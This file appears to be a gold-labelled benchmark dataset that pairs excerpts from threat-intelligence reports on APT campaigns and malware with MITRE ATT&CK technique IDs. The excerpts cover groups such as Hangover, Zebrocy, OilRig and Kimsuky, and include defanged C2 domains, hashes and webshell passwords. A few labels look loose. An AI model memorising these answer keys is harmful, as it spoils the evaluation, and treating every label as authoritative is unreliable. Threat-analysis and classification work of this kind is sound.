"The remainder of this section focuses largely on Object Linking and Embedding (OLE) Microsoft Excel documents, as they are most commonly used by the Hangover group, at least when it comes to the BackConfig malware. Through infrastructure analysis however, Unit 42 was able to find a BackConfig PE sample (SHA256: e28f1bc0b0910757b25b2146ad02798ee6b206a5fe66ce68a28f4ab1538d6a1f; first seen 10/24/2019) using the C2 domain matissues[.]com and dropped by the weaponised Rich Text Format (RTF) file (SHA256: 752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f) from the same day. The RTF used the CVE-2017-11882 exploit against equation editor vulnerabilities in Office applications to execute the PE sample which was a unique exploitation method compared to all other samples analyzed.","['T1203 - Exploitation for Client Execution', 'T1068 - Exploitation for Privilege Escalation']",golden
First technique: FIN6 used PowerShell to execute an encoded command. The command consisted of a byte array containing a base64 encoded payload shown in Figure 1.,"['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",golden
"We first discussed ShaggyPanther, a previously unseen malware and intrusion set targeting Taiwan and Malaysia, in a private report in January 2018. Related activities date back to more than a decade ago, with similar code maintaining compilation timestamps from 2004. Since then, ShaggyPanther activity has been detected in several more locations: most recently in Indonesia in July, and – somewhat surprisingly – in Syria in March. The newer 2018 and 2019 backdoor code maintains a new layer of obfuscation and no longer maintains clear-text C2 strings. Since our original release, we have identified an initial server-side infection vector from this actor, using SinoChopper/ChinaChopper, a commonly used web shell shared by multiple Chinese-speaking actors. SinoChopper not only performs host identification and backdoor delivery but also email archive theft and additional activity. Although not all incidents can be traced back to server-side exploitation, we did detect a couple of cases and obtained information about their staged install process. In 2019, we observed ShaggyPanther targeting Windows servers.","['T1027 - Obfuscated Files or Information', 'T1505.003 - Server Software Component: Web Shell', 'T1048 - Exfiltration Over Alternative Protocol']",golden
"USB Worm -> this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the “Thin Client” component from a remote Crimson server.","['T1091 - Replication Through Removable Media', 'T1105 - Ingress Tool Transfer', 'T1025 - Data from Removable Media', 'T1570 - Lateral Tool Transfer', 'T1005 - Data from Local System']",golden
8. Copy “winrestore.dll” to the directory set in step 6 or 7a with the filename “MSO1234.win” .,"['T1036 - Masquerading', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",golden
"The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet.","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059 - Command and Scripting Interpreter', 'T1219 - Remote Access Software', 'T1021 - Remote Services', 'T1083 - File and Directory Discovery', 'T1057 - Process Discovery', 'T1082 - System Information Discovery', 'T1003.001 - OS Credential Dumping: LSASS Memory', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.,"['T1105 - Ingress Tool Transfer', 'T1059 - Command and Scripting Interpreter', 'T1041 - Exfiltration Over C2 Channel', 'T1082 - System Information Discovery']",golden
"In this blog we show that CVE-2017-0005, a Windows Local-Privilege-Escalation (LPE) vulnerability that was attributed to a Chinese APT, was replicated based on an Equation Group exploit for the same vulnerability that the APT was able to access. “EpMe”, the Equation Group exploit for CVE-2017-0005, is one of 4 different LPE exploits included in the DanderSpritz attack framework. EpMe dates back to at least 2013 – four years before APT31 was caught exploiting this vulnerability in the wild.","['T1068 - Exploitation for Privilege Escalation', 'T1587.004 - Exploits', 'T1588.005 - Exploits']",golden
"This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively.",['T1057 - Process Discovery'],golden
"Zebrocy has continued adding new tools to its arsenal using various kinds of programming languages. We found Zebrocy deploying a compiled Python script, which we call PythocyDbg, within a Southeast Asian foreign affairs organization. This module primarily provides for the stealthy collection of network proxy and communications debug capabilities. In early 2019, Zebrocy shifted its development efforts with the use of Nimrod/Nim, a programming language with syntax resembling both Pascal and Python that can be compiled down to JavaScript or C targets. Both the Nim downloaders that the group mainly uses for spear phishing, and other Nim backdoor code, are currently being produced by Zebrocy and delivered alongside updated compiled AutoIT scripts, Go, and Delphi modules. In September, Zebrocy spear-phished multiple NATO and alliance partners throughout Europe, attempting to gain access to email communications, credentials and sensitive documents. This campaign is similar to past Zebrocy activity, with target-relevant content used within emails, and ZIP attachments containing harmless documents alongside executables with altered icons and identical filenames. The group also makes use of remote Word templates pulling contents from the legitimate Dropbox file-sharing site. In this campaign, Zebrocy targeted defense and diplomatic targets located throughout Europe and Asia with its Go backdoor and Nimcy variants.","['T1566.001 - Phishing: Spearphishing Attachment', 'T1036 - Masquerading', 'T1119 - Automated Collection', 'T1204 - User Execution', 'T1587.001 - Malware', 'T1204.002 - User Execution: Malicious File', 'T1598.002 - Spearphishing Attachment', 'T1059.006 - Command and Scripting Interpreter: Python', 'T1027.009 - Embedded Payloads', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1059.007 - Command and Scripting Interpreter: JavaScript']",golden
"This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL, depending on the malware sample. Then the service is created for the service dll. Service names also can differ from version to version; we discovered the following names — DriverManage, WebService and WebClientManager. These functions assure malware persistence in a compromised OS between system reboots.","['T1543.003 - Create or Modify System Process: Windows Service', 'T1543 - Create or Modify System Process', 'T1569.002 - System Services: Service Execution', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.004 - Masquerading: Masquerade Task or Service']",golden
"While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell.",['T1505.003 - Server Software Component: Web Shell'],golden
"Figure 6 shows our testing of the download command within RGDoor, specifically a command “download$c:\windows\temp\test.txt” that downloads the file uploaded in our previous test. We chose to use the key “89” (0x89) in this test to showcase RGDoor’s ability to use any hexadecimal byte as a key, which resulted in an encoded command string of “7eb+5+Xm6O2t6rPV/uDn7eb++tX97OT51f3s+v2n/fH9”. RGDoor responds to this command with the encoded string “/ez6/eDn7ri7uoM=”, which when decrypted with the “89” key results in the string ‘testing123\n’, which is the contents of the “test.txt” file.","['T1105 - Ingress Tool Transfer', 'T1140 - Deobfuscate/Decode Files or Information', 'T1132 - Data Encoding']",golden
"The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.","['T1105 - Ingress Tool Transfer', 'T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1573 - Encrypted Channel', 'T1036 - Masquerading', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1001 - Data Obfuscation']",golden
"One of the maldocs disclosed here was referred to by a Bit.ly-shortened URL (created Jan. 23, 2020) — hxxp://bit[.]ly/iaf-guidelines — which redirects to hxxp://tecbeck[.]com/IAP39031[.]docx. It is highly likely that the attackers hosted the maldocs on a public server and distributed the direct or Bit.ly links to the targets in the form of spear-phishing emails. This may be done to bypass detection systems that scan email attachments for malware.","['T1598.003 - Spearphishing Link', 'T1566.002 - Phishing: Spearphishing Link']",golden
"The back door program used in the APT-C-06 organization's early APT operation was Lucker. It is a set of self-developed and customized modular Trojans. The set of Trojans is powerful, with keyboard recording, voice recording, screen capture, file capture and U disk operation functions, etc. The Lucker ‘s name comes from the PDB path of this type of Trojan, because most of the backdoor's function use the LK abbreviation. In the middle to late period we have discovered its evolution and two different types of backdoor programs. We have named them Retro and Collector by the PDB path extracted from the program. The Retro backdoor is an evolution of the Lucker backdoor and it actives in a series of attacks from 2016 till now. The name comes from the pdb path of this type of Trojan with the label Retro, and also has the word Retro in the initial installer.","['T1113 - Screen Capture', 'T1083 - File and Directory Discovery', 'T1005 - Data from Local System', 'T1123 - Audio Capture']",golden
"Cisco Talos has observed a new malware campaign operated by the Kimsuky APT group since June 2021. Kimsuky, also known as Thallium and Black Banshee, is a North Korean state-sponsored advanced persistent threat (APT) group active since 2012. This campaign utilizes malicious blogs hosted on Blogspot to deliver three types of preliminary malicious content: beacons, file exfiltrators and implant deployment scripts. The implant deployment scripts, in turn, can infect the endpoint with additional implants such as system information-stealers, keyloggers and credential stealers. These implants are derivatives of the Gold Dragon/Brave Prince family of malware operated by Kimsuky since at least 2017 — now forked into three separate modules. This campaign targets South Korea-based think tanks whose research focuses on political, diplomatic and military topics pertaining to North Korea, China, Russia and the U.S.","['T1082 - System Information Discovery', 'T1189 - Drive-by Compromise']",golden
"This infection chain is based on a Windows shortcut file, with a misleading .docx.lnk double extension, and constitutes a more modular approach to PowerPepper delivery.","['T1036 - Masquerading', 'T1204.002 - User Execution: Malicious File', 'T1036.007 - Masquerading: Double File Extension']",golden
"But these are not the only differences between the two versions: while the Filesystem.dll module was dropped by all the known variants of gpUpdates.exe, it was not always used in the same manner.",['T1036 - Masquerading'],golden
"Vesta Control Panel command injection is one of the several newly included exploits. The version released on May 18 also included Python versions of EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0147) exploits with a Windows download command line as the payload. The addition of new exploits shows that the actor is actively developing new methods of spreading and following the latest vulnerabilities with published PoCs. In the newest instances discovered on May 22, the bot improved its ability to supply credentials for SMB but excluded it from the main exploit function. The usernames and passwords are now in a separate two arrays and extended to include many other usernames and passwords. The exploitation function of this sample does not contain EternalBlue and EternalRomance but attempts to connect over SMB (port 445) and create a service remotely to download and run the main bot file. This latest sample is a pyinstaller-generated sample but is PE file rather than ELF, which was seen previously.","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution', 'T1210 - Exploitation of Remote Services', 'T1059 - Command and Scripting Interpreter', 'T1021 - Remote Services', 'T1570 - Lateral Tool Transfer', 'T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1543.003 - Create or Modify System Process: Windows Service']",golden
"During the C2 interactions, PyMICROPSIA downloads two additional samples that are dropped and executed on the victim’s system, running additional functionality. These payloads are not Python / PyInstaller based.",['T1105 - Ingress Tool Transfer'],golden
"There are multiple web inject files. One contains all of the target URL and hostname data, and the second contains regex patterns, as well as the code to inject. These files are both RC4-encrypted and compressed.",['T1027 - Obfuscated Files or Information'],golden
"The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc”. This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка”. Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).","['T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
"After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the ‘base64.b16encode’ method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Table 2 below shows the success and failure messages associated with each command.",['T1027 - Obfuscated Files or Information'],golden
"Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.","['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1560 - Archive Collected Data', 'T1003 - OS Credential Dumping', 'T1074.001 - Data Staged: Local Data Staging', 'T1074 - Data Staged', 'T1560.001 - Archive Collected Data: Archive via Utility', 'T1003.004 - OS Credential Dumping: LSA Secrets']",golden
"This investigation illustrates an attacker using multiple tools and techniques to implement their full attack chain. A variety of infection artifacts are utilized ranging from bespoke tools (IndigoDrop) to customizable adversarial tools (Cobalt Strike beacons). The attackers also use a combination of public and private servers to host their malicious payloads with a growing trend towards the sole usage of public servers. The use of military-themed maldocs (lures) indicates that government and military organizations in South Asia may be the targets of this threat actor. The maldocs contain bonafide content and are most likely weaponized copies of benign documents known to peek the interests of their targets. The attack variants discovered over time show us that the threat actor can evolve their TTPs in a short period of time. The earliest observable campaigns of this actor date back to April 2018 and continue to operate today along with the most recent evolutions of the attacks. Evidence of rapid ideation, testing and production of new and diversified modules and IndigoDrop iterations indicates highly motivated and agile adversaries. The use of adversarial frameworks like Cobalt Strike suggests that the attackers are looking to expand their malicious arsenal at a significant rate with self-authored and customizable artifacts. Modern-day malware attack chains consist of multiple stages and operational entities. These artifacts and entities may be hosted locally or on remote servers. For example, this attack consists of multiple shellcodes hosted on remote locations downloaded by a local component (IndigoDrop) during runtime to instrument the attack chain. Thus, while network-based detection is important, it should be complemented with system behavior analysis and endpoint protections.","['T1588.001 - Malware', 'T1036 - Masquerading', 'T1587.001 - Malware']",golden
"Since PROPHET SPIDER gains access via web servers or other public-facing servers, they will often initially compromise a Linux-based system. Once initial access is obtained on a Linux system, PROPHET SPIDER typically deploys a webshell, reverse shell binary or a perl reverse shell script (commonly named bc.pl) as their initial persistence mechanism.","['T1505.003 - Server Software Component: Web Shell', 'T1059 - Command and Scripting Interpreter', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1190 - Exploit Public-Facing Application']",golden
"As this is a NULL-Deref vulnerability, we can immediately rule out CVE-2017-0005, as the stack trace shown in Microsoft’s blog has nothing to do with the NULL page. This means that this is possibly another vulnerability found and exploited by Equation Group in 2013. With that out of the way, it is time to understand what triggers this NULL-Deref vulnerability.","['T1068 - Exploitation for Privilege Escalation', 'T1587.004 - Exploits']",golden
"When Gauss infects an USB memory stick, it sets a certain flag to 30. This TTL (time to live) flag is decremented every time the payload is executed from the stick. Once it reaches 0, the data stealing payload cleans itself from the USB stick. This makes sure that sticks with Gauss infections do not survive ItW for long enough to results in detection.","['T1091 - Replication Through Removable Media', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1052.001 - Exfiltration over USB', 'T1052 - Exfiltration Over Physical Medium']",golden
The ability to launch a .exe or .dll file in memory. The ability to leverage schtasks.exe to add or modify task schedules. The ability to launch custom PowerShell commands. The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of doing so.,"['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"Our Next-Generation Firewall caught the first incident of CVE-2020-8515 exploitation on March 31, 2020 at 13:51 (UTC). In addition to this attack, several bots’ attempt to propagate by exploiting CVE-2020-5722 were also caught by our firewall. In the case of CVE-2020-8515 exploitation, the threat actor attempted to download a shell script to the tmp directory, and execute the downloaded script, as shown in Figure 9. In the case of CVE-2020-5722 exploitation, the payload only downloads an arm7 binary and executes it, as shown in Figure 10.",['T1068 - Exploitation for Privilege Escalation'],golden
"In addition, DoppelPaymer is designed to run only after a specific command line argument is provided. The malware computes a CRC32 checksum of the first argument passed on the command line and adds it with a constant value that is hard-coded in the binary. The malware then adds the instruction pointer address to this result, which becomes the destination for a jmp used to continue the malware execution. The hard-coded constant value is unique to each build. In the sampled analyzed, this value was 0x672e6eb7, as shown below in Figure 6.",['T1480 - Execution Guardrails'],golden
"The cheat sheet includes examples of commands needed for persistence, network reconnaissance, pivoting, credential dumping, general system and network data gathering, as well as data exfiltration and commands to configure the system to allow remote desktop protocol (RDP) sessions. The commands provide insight into the techniques the actors will use after compromising a system, as well as the tools used to achieve their objectives. The commands also suggest that the threat group heavily relies on RDP to interact with compromised hosts, likely using secure shell (SSH) tunnels created with the Plink tool between the infected system and an actor-controlled domain. Also, the command examples show the threat group seeks to move across an infiltrated network to target additional devices, making it a greater threat to organizations once infected. According to these commands, the actor would likely make these pivots to other systems by performing credential dumping from the Windows registry and process memory.","['T1105 - Ingress Tool Transfer', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1570 - Lateral Tool Transfer', 'T1018 - Remote System Discovery', 'T1021 - Remote Services', 'T1049 - System Network Connections Discovery', 'T1041 - Exfiltration Over C2 Channel', 'T1021.004 - Remote Services: SSH', 'T1016 - System Network Configuration Discovery']",golden
"The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.","['T1027 - Obfuscated Files or Information', 'T1505.003 - Server Software Component: Web Shell', 'T1573 - Encrypted Channel', 'T1005 - Data from Local System', 'T1119 - Automated Collection', 'T1074 - Data Staged', 'T1074.001 - Data Staged: Local Data Staging']",golden
"Nemucod malware is mostly deployed using weaponized documents where the malicious VBA macro code is responsible for constructing and executing a malicious encoded JScript file that carries out further activities including registering victims with the actors before downloading payloads, which in this case included a credential stealing Trojan executable component.","['T1027 - Obfuscated Files or Information', 'T1059 - Command and Scripting Interpreter', 'T1204.002 - User Execution: Malicious File', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1587.001 - Malware']",golden
"The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.",['T1027 - Obfuscated Files or Information'],golden
"After the initial beacon, Gasket sends supplemental requests to a URL of /time/sync to obtain commands from the threat actor, which will look like the following:",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"The TwoFace payload shell requires a password that is sent within HTTP POST data or within the HTTP Cookie, specifically with a field with a name “pwd”. The “pwd” field is used for authentication as a password, which the payload will generate the SHA1 hash and compare it with a hash that is hardcoded within the payload. We extracted the SHA1 hashes used for authentication from the known TwoFace shells, as seen in Table 4 and were able to find the associated password string for three of them. One of the passwords, “RamdanAlKarim12” contains a phrase that means “Ramadan the generous” in Arabic (رمضان الكريم). Another known password is “FreeMe!”, while the last known password contains what may be an acronym of a middle eastern energy organization followed by “pass”. It is possible that the actor chose this acronym based on the targeted organization, but we cannot confirm this.",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"The attack itself is performed in an infinite loop. The IP addresses used for scanning are generated randomly using the rand() function and the GetTickCount() results as a random seed. The only filter rule for an IP address is that it cannot start with 127, 172 or 192. A separate thread is created to communicate with each IP address.","['T1046 - Network Service Discovery', 'T1106 - Native API']",golden
"The ultimate purpose of the aforementioned components is to install and execute the Komplex payload. The dropper component saves the payload to “/Users/Shared/.local/kextd” (SHA256: 227b7fe495ad9951aebf0aae3c317c1ac526cdd255953f111341b0b11be3bbc5) and ultimately executes the payload. The payload begins by conducting an anti-debugging check to see if it is being debugged before proceeding with executing its main functionality, which can be seen in the “AmIBeingDebugged” function in Figure 6. The “AmIBeingDebugged” function uses the “sysctl” function to check to see if a specific “P_TRACED” flag is set, which signifies that the process is being debugged. A particularly interesting part of this function is that it is very similar to the function provided by Apple to its developers in a guide created in 2004 titled “Detecting the Debugger”. This is not the first time the Sofacy group’s malware authors have obtained techniques from publicly available sources, as demonstrated in the use of the Office Test Persistence Method that they obtained from a blog posted in 2014.","['T1587.001 - Malware', 'T1622 - Debugger Evasion']",golden
The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.,['T1106 - Native API'],golden
"In the initial versions of the earlier exploits, such as the exploit for CVE-2013-3660 and some versions of CVE-2015-0057, the exploit caused the kernel to execute a token-swapping shellcode stored in user-mode.","['T1134 - Access Token Manipulation', 'T1134.002 - Create Process with Token', 'T1134.001 - Access Token Manipulation: Token Impersonation/Theft']",golden
"During the course of our investigations, we noticed that the PowerPepper C2 name servers were actually open DNS resolvers that always resolved arbitrary hostnames with the same IP addresses: 128.49.4.4 (a US Navy-owned server), 91.214.6.100 and 91.214.6.101 (HSBC UK-owned servers). Using this fact and historical reverse DNS resolutions data, we have been able to preemptively identify the PowerPepper C2 domains.",['T1583.002 - DNS Server'],golden
"We uncovered two new espionage backdoors associated with Operation Earth Kitsune: agfSpy and dneSpy. This post provides details about these malware types, including the relationship between them and their command and control (C&C) servers .",['T1588.001 - Malware'],golden
"This new version was dubbed “GandCrab 2” by the infosec community. However, upon closer inspection of the ‘version’ string embedded into GandCrab’s C&C check-in, you can see that the gang uses their own nomenclature: the really early versions are 1.1, the later versions go up to 2.1, the first versions of GandCrab 2 were  1.0.0r and the latest version is kto_zaskrinit_tot_pidor (a colorful Russian snarl, aimed at the people who see the version string and reach for their PrintScreen key).",['T1587.001 - Malware'],golden
The most recent change to the argos-tracking.co[.]uk domain was on the 22nd February 2017 to suspend it. This example highlights the lengths the actors will go to in their reconnaissance of their victims in order to increase their changes of successful compromise.,['T1583.001 - Domains'],golden
"Unlike the common ransomware, systematically distributed via massive spam campaigns and exploit kits, Ryuk is used exclusively for tailored attacks. In fact, its encryption scheme is intentionally built for small-scale operations, such that only crucial assets and resources are infected in each targeted network with its infection and distribution carried out manually by the attackers.",['T1587.001 - Malware'],golden
"We were able to link most of the decoy contents back to the original contents published on the internet by their initial authors, meaning DeathStalker did not craft them, but instead picked out appropriate ready-made material that was available on the internet. One of the decoy components impersonated a legitimate travel agent but included altered contact details.","['T1588.001 - Malware', 'T1587.001 - Malware']",golden
"Remcos is a RAT that is offered for sale by a company called Breaking Security. While the company says it will only sell the software for legitimate uses as described in comments in response to the article here and will revoke the licenses for users not following their EULA, the sale of the RAT gives attackers everything they need to establish and run a potentially illegal botnet. Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. It is written in C++ and is relatively small for the rich functionality it contains. The Remcos payload included by the PowerShell loader is the latest version 2.5.0. Talos has created a decoder that allows simple extraction of Remcos configurations. Cisco Umbrella shows an increase in requests for the default C2 domain dfgdgertdvdf.xyz of the sample around the time we found the initial PowerShell loader. DNS activity for the default C2 domain of the Remcos payload.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"Interestingly, this IP address also had some associated domain names, as shown in the zoomed-in box as well, including letstrade-bit[.]com, lesbtc[.]com (and mail.lesbtc[.]com) and secure-trade24[.]com with the former two domains being registered December 20th and the latter on December 14th. All three domains mention trading or Bitcoins (BTC) but from the samples analysed, it is not clear how these subdomains are being used, however such terms are indicative of contemporary ransomware that requests ransom payments using BTC.",['T1583.001 - Domains'],golden
Another sample discovered in late August 2021 consisted of the C2 host URI xxx[.]xxxx[.]tk and the host header setting configured to point to test[.]softlemon[.]net.,['T1071.001 - Application Layer Protocol: Web Protocols'],golden
Figure 3 Portion of malicious macro responsible for compiling and executing embedded source code .,['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],golden
"Malicious macros already embedded, ready to execute. Malicious macro downloaded as part of an externally linked template that is then injected into the original lure maldoc.",['T1027.009 - Embedded Payloads'],golden
"Of interest is the script file docker.container.local.spread.txt, which lists the name of a local Docker image, as shown in Figure 8. The Docker image is a local Docker image, meaning it is not hosted and downloaded from an external docker repository such as Docker Hub. Researchers did search Docker Hub for the presence of this Docker image and none were found.",['T1610 - Deploy a container'],golden
"In one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP (185.162.235[.]106) for the legitimate domain to be redirected to. Analysis of this IP provides several interesting data points, including possible relationships to previously observed OilRig infrastructure. Examining the hosting provider shows that the IP is associated with an Iranian hosting provider called NovinVPS. The autonomous system name of the IP shows that the allocation is controlled by Serverius Holding B.V., which is an autonomous system name we have previously seen associated with the OilRig group. In fact, examining the Class C IP block of 185.162.235[.]0/24 shows at least two other IPs we have previously identified as in use by the OilRig group for C2 servers. 185.162.235[.]29 and 185.162.235[.]121 and their associated domains, office365-management[.]com and msoffice-cdn[.]com respectively. Office365-management[.]com was first identified in October 2017 as a C2 servers for OilRig operations delivering the ISMInjector backdoor. Later in February 2018 we were able to link the entire grouping of infrastructure to another campaign delivering the OopsIE backdoor via the reuse of WHOIS registrant artifacts, shared SSL certificates, and a shared Class C IP block. Figure 17 shows the relationship between the files related to DNS hijacking and known infrastructure associated with OilRig.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"Zebrocy activity is a known subset of Sofacy activity. We predicted that they would continue to innovate within their malware development after observing past behavior, developing with Delphi, AutoIT, .Net C#, Powershell, and now “Go” languages. Their continued targeting, phishing techniques, infrastructure setup, technique and malware innovation, and previously known backdoors help provide strong confidence that this activity continues to be Zebrocy.",['T1587.001 - Malware'],golden
"Gauss highly modular architecture reminds us of Duqu — it uses an encrypted registry setting to store information on which plugins to load; is designed to stay under the radar, avoid security and monitoring programs and performs highly detailed system monitoring functions. In addition, Gauss contains a 64-bit payload, together with Firefox-compatible browser plugins designed to steal and monitor data from the clients of several Lebanese banks: Bank of Beirut, EBLF, BlomBank, ByblosBank, FransaBank and Credit Libanais. In addition, it targets users of Citibank and PayPal.","['T1082 - System Information Discovery', 'T1005 - Data from Local System', 'T1033 - System Owner/User Discovery', 'T1119 - Automated Collection', 'T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1176 - Browser Extensions']",golden
Figure 18. VirtualAlloc() and byte-copying (call 100045c0) function.,['T1106 - Native API'],golden
"An actor successfully tested China Chopper on a second server and stopped the activity. However, we also found another Monero cryptocurrency miner just as we found commodity malware on other systems compromised with China Chopper. The actors first reset the Access Control List for the Windows temporary files folder and take ownership of the folder. They then allow the miner executable through the Windows Firewall and finally launch the mining payload.","['T1562.004 - Impair Defenses: Disable or Modify System Firewall', 'T1496 - Resource Hijacking', 'T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification']",golden
"Then, it reads user-related info from the file sqlxmlx.inc in the same folder (we can see strings referencing to “UserID” commentary in this part of the code). But this file was never created. As you recall, there is a function that should have collected this data and should have saved it into this sqlxmlx.inc file. However, on the first launch, the collected user information is saved into “xmlrwbin.inc”. This effectively means that the malware writer mistakenly coded the bot to save user information into the wrong file. There is a chance for the mistaken code to still work — user information could be copied into the send information heap. But not in this case – at the time of writing, the gathered user information variable which should point to the xmlrwbin.inc filename has not yet been initialized, causing the file write to fail. We see that sqlxmlx.inc is not created to store user information.","['T1033 - System Owner/User Discovery', 'T1119 - Automated Collection', 'T1074 - Data Staged', 'T1074.001 - Data Staged: Local Data Staging', 'T1087 - Account Discovery']",golden
"The Gasket tool referenced a proxying and tunneling capability known as MagicSocks, which is based on the open-source Chisel project. The actors also created a standalone version of MagicSocks that they would use in addition to Gasket. The standalone MagicSocks tool comes as a dynamic link library (DLL), which the actor also wrote in Golang. The developer of MagicSocks uses code from the Chisel project to tunnel traffic from the local system to an external actor-controlled Chisel server. The tool will build the string R:0.0.0.0:50000:socks that it supplies to the Chisel client code that will generate the following JSON that the client uses as a configuration:","['T1572 - Protocol Tunneling', 'T1095 - Non-Application Layer Protocol', 'T1090 - Proxy', 'T1090.002 - External Proxy']",golden
"UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic. The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers. We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.","['T1090 - Proxy', 'T1090.001 - Proxy: Internal Proxy', 'T1090.002 - External Proxy', 'T1090.003 - Proxy: Multi-hop Proxy']",golden
One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014.  The password (reused by many of the password protected SFX payloads) it used to extract itself is “1234567890__”. The files included in this SFX file we observed include a batch file named “123.cmd” and another SFX named “setting.exe”. This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.,"['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
The next program sent to victims enumerates all the drives on the infected system and executes the following command on them:,"['T1082 - System Information Discovery', 'T1083 - File and Directory Discovery', 'T1135 - Network Share Discovery', 'T1105 - Ingress Tool Transfer']",golden
"The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads.","['T1105 - Ingress Tool Transfer', 'T1082 - System Information Discovery', 'T1119 - Automated Collection']",golden
